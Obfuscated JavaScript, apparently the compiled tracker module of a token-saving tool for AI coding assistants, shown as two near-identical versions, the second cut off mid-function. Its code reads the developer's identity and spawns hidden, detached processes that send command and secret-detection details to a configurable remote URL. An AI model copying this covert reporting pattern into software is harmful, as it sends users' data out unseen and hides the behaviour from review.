_0x4ac44a=_0x2356d6['split'](':')[0x1]||_0x11a8de(0x1a1),_0x46ffa8=_0x4ac44a['charAt'](0x0)['toUpperCase']()+_0x4ac44a[_0x11a8de(0x1ff)](0x1);_0x12d2a2=_0x46ffa8+_0x11a8de(0x21f);}else{if(_0x2356d6[_0x11a8de(0x1b0)](_0x11a8de(0x1cb))){const _0x508231=_0x2356d6['split']('\x20'),_0x4afe9c=_0x508231[0x0][_0x11a8de(0x1f3)](':')[0x1]||_0x11a8de(0x1a1),_0x3a0aed=_0x4afe9c['charAt'](0x0)[_0x11a8de(0x211)]()+_0x4afe9c[_0x11a8de(0x1ff)](0x1),_0x53d1af=_0x508231[_0x11a8de(0x1ff)](0x1)[_0x11a8de(0x234)]('\x20');_0x12d2a2=_0x3a0aed+_0x11a8de(0x220)+_0x53d1af;}else{const _0x57bcf3=_0x2356d6[_0x11a8de(0x1f3)]('\x20')[0x0]||_0x11a8de(0x1d0);_0x12d2a2=_0x75ba41[_0x11a8de(0x1b8)]?_0x75ba41[_0x11a8de(0x243)]?_0x75ba41['tool']+'-'+_0x75ba41['modelShort']+'-'+_0x57bcf3:_0x75ba41[_0x11a8de(0x1b8)]+'-'+_0x57bcf3:_0x57bcf3;}}const _0x15f7dc={'id':_0x5f268e,'timestamp':new Date()[_0x11a8de(0x1e7)](),'command':_0x12d2a2,'raw_chars':_0x270105,'compressed_chars':_0x4288ed,'estimated_raw_tokens':_0x4b07cd,'estimated_compressed_tokens':_0x2a23ff,'tokens_saved':_0x1cc302,'model_used':_0x398b2f,'exit_code':_0x3e4915,'synced':![],'ai_detected':!!_0x75ba41[_0x11a8de(0x1b8)],'secrets_found':_0x34bb07?.[_0x11a8de(0x208)]||0x0,'secret_types':_0x34bb07?.[_0x11a8de(0x1ba)]||[],'features':_0x196fb6||[]};_0x570810['push'](_0x15f7dc),this[_0x11a8de(0x1ef)](_0x570810);const _0x42335d=this['getConfig']()[_0x11a8de(0x241)];return _0x42335d&&_0x42335d[_0x11a8de(0x1ae)]()['length']>0x0&&this[_0x11a8de(0x1b9)](),_0x34bb07&&_0x34bb07[_0x11a8de(0x208)]>0x0&&this[_0x11a8de(0x1a3)](_0x15f7dc,_0x34bb07),_0x15f7dc;}['cachedDevId']=null;['getDevIdentity'](){const _0x57b6b7=a0_0x19d430;if(this[_0x57b6b7(0x1e0)])return this[_0x57b6b7(0x1e0)];try{const _0x25c41d=require('child_process')[_0x57b6b7(0x1a4)](_0x57b6b7(0x1e2),{'stdio':['ignore','pipe',_0x57b6b7(0x1eb)],'windowsHide':!![]})[_0x57b6b7(0x1c4)]()[_0x57b6b7(0x1ae)]();if(_0x25c41d&&_0x25c41d[_0x57b6b7(0x1d7)]('@'))return this['cachedDevId']=_0x25c41d,_0x25c41d;}catch{}try{const _0x306645=require('os')[_0x57b6b7(0x200)]()[_0x57b6b7(0x20c)];return this[_0x57b6b7(0x1e0)]=_0x306645,_0x306645;}catch{}return this[_0x57b6b7(0x1e0)]=_0x57b6b7(0x1d0),_0x57b6b7(0x1d0);}[a0_0x19d430(0x1a3)](_0x1cf600,_0x395980){const _0x2460d2=a0_0x19d430;try{let _0x5a451c=this[_0x2460d2(0x20a)]()[_0x2460d2(0x241)]||'';if(!_0x5a451c)return;_0x5a451c=_0x5a451c[_0x2460d2(0x20e)](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0x5a451c[_0x2460d2(0x1d7)](_0x2460d2(0x1a9)))_0x5a451c+=_0x2460d2(0x1a9);const _0x5b8f9c=this[_0x2460d2(0x1ca)](),_0x2eb6a3=JSON[_0x2460d2(0x1b6)]({'developer_id':_0x5b8f9c,'timestamp':_0x1cf600[_0x2460d2(0x209)],'command':_0x1cf600[_0x2460d2(0x1d5)],'secrets_found':_0x395980[_0x2460d2(0x208)],'secret_types':_0x395980['secretTypes'],'os':require('os')[_0x2460d2(0x1cd)]()}),_0x2cbf3b=_0x2460d2(0x1dd)+JSON[_0x2460d2(0x1b6)](_0x5a451c)+_0x2460d2(0x1b2)+JSON[_0x2460d2(0x1b6)](_0x5a451c)+_0x2460d2(0x207)+JSON['stringify'](_0x2eb6a3)+')',_0x2fcb18=(0x0,child_process_1[_0x2460d2(0x23f)])(process['execPath'],['-e',_0x2cbf3b],{'detached':!![],'stdio':_0x2460d2(0x1eb),'windowsHide':!![]});_0x2fcb18[_0x2460d2(0x1e4)]();}catch{}}[a0_0x19d430(0x1b9)](){const _0x57c200=a0_0x19d430;try{const _0x9f5027=path['join'](__dirname,_0x57c200(0x225));if(fs[_0x57c200(0x240)](_0x9f5027)){const _0x2e795c=(0x0,child_process_1[_0x57c200(0x23f)])(process['execPath'],[_0x9f5027],{'detached':!![],'stdio':_0x57c200(0x1eb),'windowsHide':!![]});_0x2e795c['unref']();}}catch{}}[a0_0x19d430(0x1b4)](_0x569e0e=a0_0x19d430(0x1da)){const _0x4e7d71=a0_0x19d430,_0x4b6a14=this[_0x4e7d71(0x222)]();let _0xb0333b=0x0,_0x2733ab=0x0,_0x590f76=0x0;for(const _0x3a7ccf of _0x4b6a14){_0xb0333b+=_0x3a7ccf[_0x4e7d71(0x22f)],_0x2733ab+=_0x3a7ccf[_0x4e7d71(0x23c)],_0x590f76+=_0x3a7ccf['tokens_saved'];}let _0x173392=_0x569e0e;(!_0x173392||_0x173392===_0x4e7d71(0x1da)||!exports['PRICING'][_0x173392])&&(_0x4b6a14[_0x4e7d71(0x1f8)]>0x0&&_0x4b6a14[_0x4b6a14[_0x4e7d71(0x1f8)]-0x1][_0x4e7d71(0x21d)]?_0x173392=_0x4b6a14[_0x4b6a14['length']-0x1][_0x4e7d71(0x21d)]:_0x173392=this[_0x4e7d71(0x20a)]()[_0x4e7d71(0x1df)]||_0x4e7d71(0x1ce));const _0x2e82a5=exports[_0x4e7d71(0x21b)][_0x173392]||exports[_0x4e7d71(0x21b)][_0x4e7d71(0x1ce)],_0x5d0ce7=_0x590f76*_0x2e82a5[_0x4e7d71(0x1a5)]/0xf4240,_0x474710=_0xb0333b*_0x2e82a5[_0x4e7d71(0x1a5)]/0xf4240,_0x3100a2=_0x2733ab*_0x2e82a5['input_price_1m']/0xf4240,_0x5d176b=_0xb0333b>0x0?_0x590f76/_0xb0333b*0x64:0x0;return{'total_raw_tokens':_0xb0333b,'total_compressed_tokens':_0x2733ab,'total_tokens_saved':_0x590f76,'savings_percentage':parseFloat(_0x5d176b['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x5d0ce7[_0x4e7d71(0x23d)](0x4)),'raw_cost_usd':parseFloat(_0x474710[_0x4e7d71(0x23d)](0x4)),'compressed_cost_usd':parseFloat(_0x3100a2[_0x4e7d71(0x23d)](0x4)),'model_name':_0x2e82a5[_0x4e7d71(0x237)],'model_key':_0x173392};}}exports[a0_0x19d430(0x1f6)]=Tracker,exports['tracker']=new Tracker();
1
+ 'use strict';const a0_0x3aa70a=a0_0x3405;(function(_0x11e3be,_0x5b297f){const _0x48115a=a0_0x3405,_0x4c6cc8=_0x11e3be();while(!![]){try{const _0x1ddffa=-parseInt(_0x48115a(0x223))/0x1+-parseInt(_0x48115a(0x1ca))/0x2*(-parseInt(_0x48115a(0x220))/0x3)+-parseInt(_0x48115a(0x1b3))/0x4*(-parseInt(_0x48115a(0x1fb))/0x5)+-parseInt(_0x48115a(0x19f))/0x6+-parseInt(_0x48115a(0x19d))/0x7*(-parseInt(_0x48115a(0x195))/0x8)+-parseInt(_0x48115a(0x18a))/0x9*(parseInt(_0x48115a(0x1b4))/0xa)+parseInt(_0x48115a(0x213))/0xb*(parseInt(_0x48115a(0x1f1))/0xc);if(_0x1ddffa===_0x5b297f)break;else _0x4c6cc8['push'](_0x4c6cc8['shift']());}catch(_0x355576){_0x4c6cc8['push'](_0x4c6cc8['shift']());}}}(a0_0xb996,0xd4525));var __createBinding=this&&this[a0_0x3aa70a(0x1c4)]||(Object[a0_0x3aa70a(0x187)]?function(_0x52a776,_0xe911c2,_0x2ab59a,_0x336165){const _0x5213da=a0_0x3aa70a;if(_0x336165===undefined)_0x336165=_0x2ab59a;var _0x22f229=Object[_0x5213da(0x1dc)](_0xe911c2,_0x2ab59a);(!_0x22f229||(_0x5213da(0x226)in _0x22f229?!_0xe911c2[_0x5213da(0x1b1)]:_0x22f229[_0x5213da(0x1f8)]||_0x22f229[_0x5213da(0x1be)]))&&(_0x22f229={'enumerable':!![],'get':function(){return _0xe911c2[_0x2ab59a];}}),Object[_0x5213da(0x1d1)](_0x52a776,_0x336165,_0x22f229);}:function(_0x504296,_0x5c52b1,_0x48fe99,_0x2624c2){if(_0x2624c2===undefined)_0x2624c2=_0x48fe99;_0x504296[_0x2624c2]=_0x5c52b1[_0x48fe99];}),__setModuleDefault=this&&this[a0_0x3aa70a(0x1b8)]||(Object['create']?function(_0x1b8180,_0x5321c1){const _0x48a494=a0_0x3aa70a;Object[_0x48a494(0x1d1)](_0x1b8180,_0x48a494(0x1ea),{'enumerable':!![],'value':_0x5321c1});}:function(_0xda0899,_0x3e291f){const _0x32b25e=a0_0x3aa70a;_0xda0899[_0x32b25e(0x1ea)]=_0x3e291f;}),__importStar=this&&this[a0_0x3aa70a(0x1a5)]||(function(){var _0x349253=function(_0x51570a){const _0x424846=a0_0x3405;return _0x349253=Object[_0x424846(0x1e4)]||function(_0x5bf42b){const _0x130de8=_0x424846;var _0x36810a=[];for(var _0x48136b in _0x5bf42b)if(Object[_0x130de8(0x216)][_0x130de8(0x191)][_0x130de8(0x1fe)](_0x5bf42b,_0x48136b))_0x36810a[_0x36810a['length']]=_0x48136b;return _0x36810a;},_0x349253(_0x51570a);};return function(_0x1653e6){const _0x5a9b44=a0_0x3405;if(_0x1653e6&&_0x1653e6[_0x5a9b44(0x1b1)])return _0x1653e6;var _0x39ed46={};if(_0x1653e6!=null){for(var _0x35b254=_0x349253(_0x1653e6),_0x22df82=0x0;_0x22df82<_0x35b254[_0x5a9b44(0x174)];_0x22df82++)if(_0x35b254[_0x22df82]!==_0x5a9b44(0x1ea))__createBinding(_0x39ed46,_0x1653e6,_0x35b254[_0x22df82]);}return __setModuleDefault(_0x39ed46,_0x1653e6),_0x39ed46;};}());Object[a0_0x3aa70a(0x1d1)](exports,a0_0x3aa70a(0x1b1),{'value':!![]}),exports['tracker']=exports[a0_0x3aa70a(0x197)]=exports[a0_0x3aa70a(0x1a0)]=void 0x0,exports[a0_0x3aa70a(0x17f)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3aa70a(0x221))),os=__importStar(require('os')),child_process_1=require(a0_0x3aa70a(0x1d8));exports[a0_0x3aa70a(0x1a0)]={'claude-fable-5':{'name':a0_0x3aa70a(0x1a8),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x3aa70a(0x177),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x3aa70a(0x1de),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x3aa70a(0x1d5),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x3aa70a(0x1ab),'input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x3aa70a(0x22a),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x3aa70a(0x19c),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x3aa70a(0x1cb),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x3aa70a(0x217),'input_price_1m':0x1},'claude-haiku-3-5':{'name':'Claude\x20Haiku\x203.5','input_price_1m':0.8},'gpt-5-5':{'name':a0_0x3aa70a(0x1cf),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x3aa70a(0x22b),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x3aa70a(0x1bb),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x3aa70a(0x1df),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':'GPT-4.1\x20Mini','input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x3aa70a(0x199),'input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0x3aa70a(0x181),'input_price_1m':0xf},'o1-mini':{'name':a0_0x3aa70a(0x1f4),'input_price_1m':0x3},'o3-mini':{'name':a0_0x3aa70a(0x17a),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x3aa70a(0x1a9),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x3aa70a(0x17e),'input_price_1m':3.5}};function a0_0x3405(_0x376b58,_0xb2c681){_0x376b58=_0x376b58-0x174;const _0xb99691=a0_0xb996();let _0x3405f9=_0xb99691[_0x376b58];return _0x3405f9;}function detectSessionTool(){const _0x3e52fe=a0_0x3aa70a,_0x76b99d=process.env,_0x1c1098={'tool':'','model':_0x3e52fe(0x1e0),'modelShort':''};if(_0x76b99d[_0x3e52fe(0x1c6)]&&exports[_0x3e52fe(0x1a0)][_0x76b99d[_0x3e52fe(0x1c6)]])return{'tool':'','model':_0x76b99d['TRIMPROMPT_MODEL'],'modelShort':''};const _0x3b0efb=(_0x76b99d[_0x3e52fe(0x17d)]||'')[_0x3e52fe(0x1c2)]();if(_0x3b0efb){if(_0x3b0efb[_0x3e52fe(0x1cd)](_0x3e52fe(0x210))||_0x3b0efb[_0x3e52fe(0x1cd)](_0x3e52fe(0x1f3))){const _0x1c0634=_0x76b99d[_0x3e52fe(0x1e1)]===_0x3e52fe(0x228)?'opus':_0x3e52fe(0x1ba),_0x5114b1=_0x76b99d[_0x3e52fe(0x1e1)]==='high'?_0x3e52fe(0x202):_0x3e52fe(0x1e0);return{'tool':_0x3e52fe(0x20b),'model':_0x5114b1,'modelShort':_0x1c0634};}if(_0x3b0efb['includes'](_0x3e52fe(0x1f0)))return{'tool':_0x3e52fe(0x1f0),'model':_0x3e52fe(0x1e0),'modelShort':_0x3e52fe(0x1ba)};if(_0x3b0efb[_0x3e52fe(0x1cd)](_0x3e52fe(0x222))||_0x3b0efb['includes'](_0x3e52fe(0x1ed))){const _0x5d5cd8=_0x76b99d['COPILOT_MODEL']||'';if(_0x5d5cd8&&exports[_0x3e52fe(0x1a0)][_0x5d5cd8])return{'tool':_0x3e52fe(0x1ed),'model':_0x5d5cd8,'modelShort':_0x5d5cd8[_0x3e52fe(0x1e6)]('-')[_0x3e52fe(0x17c)]()||''};return{'tool':_0x3e52fe(0x1ed),'model':_0x3e52fe(0x193),'modelShort':'sonnet'};}if(_0x3b0efb['includes'](_0x3e52fe(0x17b)))return{'tool':'gemini','model':'gemini-3-5-flash','modelShort':_0x3e52fe(0x1d3)};if(_0x3b0efb['includes'](_0x3e52fe(0x1ee)))return{'tool':'codex','model':_0x3e52fe(0x1d4),'modelShort':_0x3e52fe(0x1ef)};if(_0x3b0efb[_0x3e52fe(0x1cd)](_0x3e52fe(0x1e2)))return{'tool':_0x3e52fe(0x1e2),'model':_0x3e52fe(0x1e0),'modelShort':''};if(_0x3b0efb[_0x3e52fe(0x1cd)]('antigravity'))return{'tool':_0x3e52fe(0x207),'model':_0x3e52fe(0x1aa),'modelShort':_0x3e52fe(0x17b)};if(_0x3b0efb[_0x3e52fe(0x1cd)]('replit')||_0x76b99d[_0x3e52fe(0x176)])return{'tool':'replit','model':_0x3e52fe(0x1e0),'modelShort':''};return{'tool':_0x3b0efb[_0x3e52fe(0x1e6)]('_')[0x0]['split']('-')[0x0],'model':_0x3e52fe(0x1e0),'modelShort':''};}if(_0x76b99d[_0x3e52fe(0x1e7)]==='1'||_0x76b99d[_0x3e52fe(0x19e)]==='1'){const _0x44db25=_0x76b99d[_0x3e52fe(0x1e1)]===_0x3e52fe(0x228)?_0x3e52fe(0x1c7):_0x3e52fe(0x1ba),_0x3c7adc=_0x76b99d['CLAUDE_EFFORT']===_0x3e52fe(0x228)?_0x3e52fe(0x202):'claude-sonnet-4-6';return{'tool':'claude','model':_0x3c7adc,'modelShort':_0x44db25};}if(_0x76b99d[_0x3e52fe(0x1b5)]==='1')return{'tool':_0x3e52fe(0x1f0),'model':'claude-sonnet-4-6','modelShort':_0x3e52fe(0x1ba)};if(_0x76b99d[_0x3e52fe(0x175)]==='1')return{'tool':'gemini','model':_0x3e52fe(0x1d2),'modelShort':_0x3e52fe(0x1d3)};if(_0x76b99d[_0x3e52fe(0x178)]||_0x76b99d[_0x3e52fe(0x196)]){const _0x3efc7a=_0x76b99d[_0x3e52fe(0x178)]||'';if(_0x3efc7a&&exports['PRICING'][_0x3efc7a])return{'tool':_0x3e52fe(0x1ed),'model':_0x3efc7a,'modelShort':_0x3efc7a[_0x3e52fe(0x1e6)]('-')[_0x3e52fe(0x17c)]()||''};return{'tool':'copilot','model':'claude-sonnet-4-5','modelShort':_0x3e52fe(0x1ba)};}if(_0x76b99d[_0x3e52fe(0x176)]||_0x76b99d[_0x3e52fe(0x1bf)])return{'tool':_0x3e52fe(0x1bc),'model':_0x3e52fe(0x1e0),'modelShort':''};if(_0x76b99d[_0x3e52fe(0x19b)])return{'tool':_0x3e52fe(0x204),'model':_0x3e52fe(0x1e0),'modelShort':''};if(_0x76b99d[_0x3e52fe(0x214)])return{'tool':_0x3e52fe(0x194),'model':_0x3e52fe(0x1e0),'modelShort':''};if(_0x76b99d[_0x3e52fe(0x21c)]==='1')return{'tool':_0x3e52fe(0x207),'model':_0x3e52fe(0x1aa),'modelShort':_0x3e52fe(0x17b)};if(_0x76b99d[_0x3e52fe(0x1e1)]){const _0xfaf8fa=_0x76b99d['CLAUDE_EFFORT']===_0x3e52fe(0x228)?_0x3e52fe(0x1c7):_0x3e52fe(0x1ba),_0x567290=_0x76b99d['CLAUDE_EFFORT']===_0x3e52fe(0x228)?_0x3e52fe(0x202):_0x3e52fe(0x1e0);return{'tool':'','model':_0x567290,'modelShort':''};}if(_0x76b99d[_0x3e52fe(0x20c)]&&exports[_0x3e52fe(0x1a0)][_0x76b99d[_0x3e52fe(0x20c)]])return{'tool':'aider','model':_0x76b99d['AIDER_MODEL'],'modelShort':''};if(_0x76b99d[_0x3e52fe(0x183)]){const _0x16fbcb=(_0x76b99d[_0x3e52fe(0x18e)]||'')['toLowerCase']();if(_0x16fbcb[_0x3e52fe(0x1cd)]('cursor'))return{'tool':_0x3e52fe(0x1f0),'model':_0x3e52fe(0x1e0),'modelShort':_0x3e52fe(0x1ba)};if(_0x16fbcb['includes'](_0x3e52fe(0x189)))return{'tool':'windsurf','model':_0x3e52fe(0x1e0),'modelShort':_0x3e52fe(0x1ba)};}const _0x1e9b69=process.env.TRIMPROMPT_MODEL||'';if(_0x1e9b69&&exports[_0x3e52fe(0x1a0)][_0x1e9b69])return{'tool':'','model':_0x1e9b69,'modelShort':''};return _0x1c1098;}let globalLogsMemoryCache=[];class Tracker{['baseDir'];[a0_0x3aa70a(0x1a6)];[a0_0x3aa70a(0x1f2)];['logsDir'];[a0_0x3aa70a(0x18c)];constructor(){const _0x4ce3a8=a0_0x3aa70a;this[_0x4ce3a8(0x1bd)]=path[_0x4ce3a8(0x190)](os[_0x4ce3a8(0x1ac)](),_0x4ce3a8(0x1d0)),this[_0x4ce3a8(0x1a6)]=path[_0x4ce3a8(0x190)](this[_0x4ce3a8(0x1bd)],_0x4ce3a8(0x182)),this[_0x4ce3a8(0x1f2)]=path[_0x4ce3a8(0x190)](this['baseDir'],_0x4ce3a8(0x1c8)),this[_0x4ce3a8(0x1dd)]=path[_0x4ce3a8(0x190)](this[_0x4ce3a8(0x1bd)],_0x4ce3a8(0x208)),this['init']();}[a0_0x3aa70a(0x212)](){const _0x31eede=a0_0x3aa70a;!fs[_0x31eede(0x1f9)](this['baseDir'])&&fs[_0x31eede(0x1b7)](this[_0x31eede(0x1bd)],{'recursive':!![]});!fs[_0x31eede(0x1f9)](this['logsDir'])&&fs[_0x31eede(0x1b7)](this['logsDir'],{'recursive':!![]});const _0x1170ad={'version':_0x31eede(0x224),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':'claude-opus-4-8'};if(fs[_0x31eede(0x1f9)](this['configPath']))try{const _0x3021b0=fs[_0x31eede(0x1e8)](this[_0x31eede(0x1a6)],_0x31eede(0x188));this[_0x31eede(0x18c)]={..._0x1170ad,...JSON[_0x31eede(0x1e3)](_0x3021b0)};}catch(_0x37c69c){this['config']=_0x1170ad;}else this[_0x31eede(0x18c)]=_0x1170ad,this[_0x31eede(0x1b2)]();!fs['existsSync'](this[_0x31eede(0x1f2)])&&fs[_0x31eede(0x1a7)](this[_0x31eede(0x1f2)],JSON[_0x31eede(0x1f6)]([]),_0x31eede(0x188));}[a0_0x3aa70a(0x1da)](){const _0x503fb2=a0_0x3aa70a;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this['config'][_0x503fb2(0x1f7)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x503fb2(0x18c)];}[a0_0x3aa70a(0x1db)](_0x484766,_0x18167e){const _0x719e2f=a0_0x3aa70a;this[_0x719e2f(0x18c)][_0x484766]=_0x18167e,this[_0x719e2f(0x1b2)]();}[a0_0x3aa70a(0x1b2)](){const _0x24736d=a0_0x3aa70a;fs[_0x24736d(0x1a7)](this[_0x24736d(0x1a6)],JSON[_0x24736d(0x1f6)](this[_0x24736d(0x18c)],null,0x2),'utf8');}[a0_0x3aa70a(0x219)](){const _0x20584a=a0_0x3aa70a;try{if(!fs[_0x20584a(0x1f9)](this[_0x20584a(0x1f2)]))return globalLogsMemoryCache;const _0x477261=fs[_0x20584a(0x1e8)](this[_0x20584a(0x1f2)],_0x20584a(0x188)),_0x256db4=JSON[_0x20584a(0x1e3)](_0x477261);if(Array[_0x20584a(0x18b)](_0x256db4)&&_0x256db4['length']>=globalLogsMemoryCache[_0x20584a(0x174)])return globalLogsMemoryCache=_0x256db4,_0x256db4;}catch{}return globalLogsMemoryCache;}[a0_0x3aa70a(0x205)](_0x5efa83){const _0x5e04ff=a0_0x3aa70a;globalLogsMemoryCache=_0x5efa83;const _0xbebb72=this[_0x5e04ff(0x1f2)]+_0x5e04ff(0x1c9);try{fs[_0x5e04ff(0x1a7)](_0xbebb72,JSON[_0x5e04ff(0x1f6)](_0x5efa83,null,0x2),_0x5e04ff(0x188)),fs[_0x5e04ff(0x18f)](_0xbebb72,this[_0x5e04ff(0x1f2)]);}catch{try{fs[_0x5e04ff(0x1a7)](this[_0x5e04ff(0x1f2)],JSON[_0x5e04ff(0x1f6)](_0x5efa83,null,0x2),_0x5e04ff(0x188));}catch{}}}[a0_0x3aa70a(0x201)](_0xf4831c,_0x5145be,_0xff7803,_0x28a5ef,_0x2ed72d,_0xf1584b){const _0x17be07=a0_0x3aa70a,_0x2b30d2=this[_0x17be07(0x219)](),_0x78eec0=_0x5145be[_0x17be07(0x174)],_0x52107c=_0xff7803[_0x17be07(0x174)],_0xe60b6a=detectSessionTool(),_0x39455e=_0xe60b6a[_0x17be07(0x1eb)],_0x5f3c89=_0xe60b6a[_0x17be07(0x1c0)]==='antigravity'?'gemini':_0xe60b6a[_0x17be07(0x1c0)];let _0x2d5929=0x0;if(_0x5f3c89&&!_0xf4831c['startsWith']('compact:'))try{const {getLatestSessionFile:_0x5d4df8,loadSessionsState:_0x15b8e9}=require(_0x17be07(0x1d9)),_0x507583=_0x5d4df8(_0x5f3c89);if(_0x507583&&_0x507583[_0x17be07(0x1e9)]){const _0x3a5af3=_0x15b8e9();_0x3a5af3[_0x507583['fullPath']]&&(_0x2d5929=_0x3a5af3[_0x507583[_0x17be07(0x1e9)]][_0x17be07(0x200)]||0x0);}}catch{}const _0x4e1542=Math[_0x17be07(0x1c5)](_0x78eec0/0x4)+_0x2d5929,_0x56101=Math['ceil'](_0x52107c/0x4),_0x4513c8=Math[_0x17be07(0x1a2)](0x0,_0x4e1542-_0x56101),_0x1ec105=Math[_0x17be07(0x186)]()[_0x17be07(0x1a3)](0x24)[_0x17be07(0x21b)](0x2,0xb);try{const {redactor:_0x3a6845}=require(_0x17be07(0x20e)),_0x3f47f1=_0x3a6845?_0x3a6845[_0x17be07(0x203)](_0x5145be):_0x5145be;fs[_0x17be07(0x1a7)](path[_0x17be07(0x190)](this[_0x17be07(0x1dd)],_0x1ec105+'.raw.txt'),_0x3f47f1,_0x17be07(0x188)),fs[_0x17be07(0x1a7)](path[_0x17be07(0x190)](this[_0x17be07(0x1dd)],_0x1ec105+'.comp.txt'),_0xff7803,_0x17be07(0x188));}catch{}let _0xb84e8d=_0xf4831c;if(_0xf4831c['startsWith']('compact:')){const _0x493c4b=_0xf4831c[_0x17be07(0x1e6)](':')[0x1]||_0x17be07(0x20b),_0x458c47=_0x493c4b[_0x17be07(0x1b9)](0x0)['toUpperCase']()+_0x493c4b['slice'](0x1);_0xb84e8d=_0x458c47+_0x17be07(0x1ff);}else{if(_0xf4831c[_0x17be07(0x21a)](_0x17be07(0x1fc))){const _0x381de2=_0xf4831c[_0x17be07(0x1e6)]('\x20'),_0x10c35d=_0x381de2[0x0][_0x17be07(0x1e6)](':')[0x1]||_0x17be07(0x20b),_0x2ab6a5=_0x10c35d[_0x17be07(0x1b9)](0x0)[_0x17be07(0x1c1)]()+_0x10c35d['slice'](0x1),_0x3f21d9=_0x381de2['slice'](0x1)[_0x17be07(0x190)]('\x20');_0xb84e8d=_0x2ab6a5+_0x17be07(0x198)+_0x3f21d9;}else{const _0x5020ef=_0xf4831c[_0x17be07(0x1e6)]('\x20')[0x0]||_0x17be07(0x1fa);_0xb84e8d=_0xe60b6a[_0x17be07(0x1c0)]?_0xe60b6a[_0x17be07(0x1ce)]?_0xe60b6a['tool']+'-'+_0xe60b6a['modelShort']+'-'+_0x5020ef:_0xe60b6a['tool']+'-'+_0x5020ef:_0x5020ef;}}const _0x2bd92c={'id':_0x1ec105,'timestamp':new Date()[_0x17be07(0x1c3)](),'command':_0xb84e8d,'raw_chars':_0x78eec0,'compressed_chars':_0x52107c,'estimated_raw_tokens':_0x4e1542,'estimated_compressed_tokens':_0x56101,'tokens_saved':_0x4513c8,'model_used':_0x39455e,'exit_code':_0x28a5ef,'synced':![],'ai_detected':!!_0xe60b6a[_0x17be07(0x1c0)],'secrets_found':_0x2ed72d?.[_0x17be07(0x1f5)]||0x0,'secret_types':_0x2ed72d?.[_0x17be07(0x1fd)]||[],'features':_0xf1584b||[]};_0x2b30d2[_0x17be07(0x21f)](_0x2bd92c),this[_0x17be07(0x205)](_0x2b30d2);const _0x49c138=this[_0x17be07(0x1da)]()[_0x17be07(0x1f7)];return _0x49c138&&_0x49c138[_0x17be07(0x19a)]()['length']>0x0&&this[_0x17be07(0x1cc)](),_0x2ed72d&&_0x2ed72d[_0x17be07(0x1f5)]>0x0&&this[_0x17be07(0x1a1)](_0x2bd92c,_0x2ed72d),_0x2bd92c;}[a0_0x3aa70a(0x1e5)]=null;['getDevIdentity'](){const _0x43b2d2=a0_0x3aa70a;if(this['cachedDevId'])return this['cachedDevId'];try{const _0x3e8165=require('child_process')[_0x43b2d2(0x206)](_0x43b2d2(0x1b0),{'stdio':['ignore',_0x43b2d2(0x229),'ignore'],'windowsHide':!![]})['toString']()[_0x43b2d2(0x19a)]();if(_0x3e8165&&_0x3e8165['includes']('@'))return this[_0x43b2d2(0x1e5)]=_0x3e8165,_0x3e8165;}catch{}try{const _0x594144=require('os')['userInfo']()[_0x43b2d2(0x179)];return this[_0x43b2d2(0x1e5)]=_0x594144,_0x594144;}catch{}return this['cachedDevId']=_0x43b2d2(0x1fa),_0x43b2d2(0x1fa);}[a0_0x3aa70a(0x1a1)](_0x4ddae8,_0x3ffa90){const _0x4fcc81=a0_0x3aa70a;try{let _0x32ad14=this[_0x4fcc81(0x1da)]()['telemetry_url']||'';if(!_0x32ad14)return;_0x32ad14=_0x32ad14[_0x4fcc81(0x1b6)](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0x32ad14['includes'](_0x4fcc81(0x1d6)))_0x32ad14+=_0x4fcc81(0x1d6);const _0x1354c9=this[_0x4fcc81(0x20d)](),_0x53dc88=JSON[_0x4fcc81(0x1f6)]({'developer_id':_0x1354c9,'timestamp':_0x4ddae8[_0x4fcc81(0x184)],'command':_0x4ddae8[_0x4fcc81(0x225)],'secrets_found':_0x3ffa90[_0x4fcc81(0x1f5)],'secret_types':_0x3ffa90[_0x4fcc81(0x1fd)],'os':require('os')[_0x4fcc81(0x1a4)]()}),_0x23d24e=_0x4fcc81(0x1ec)+JSON['stringify'](_0x32ad14)+_0x4fcc81(0x211)+JSON[_0x4fcc81(0x1f6)](_0x32ad14)+_0x4fcc81(0x227)+JSON[_0x4fcc81(0x1f6)](_0x53dc88)+')',_0x39b348=(0x0,child_process_1[_0x4fcc81(0x192)])(process['execPath'],['-e',_0x23d24e],{'detached':!![],'stdio':'ignore','windowsHide':!![]});_0x39b348[_0x4fcc81(0x1ad)]();}catch{}}[a0_0x3aa70a(0x1cc)](){const _0x3051de=a0_0x3aa70a;try{const _0xfa3d86=path[_0x3051de(0x190)](__dirname,_0x3051de(0x18d));if(fs[_0x3051de(0x1f9)](_0xfa3d86)){const 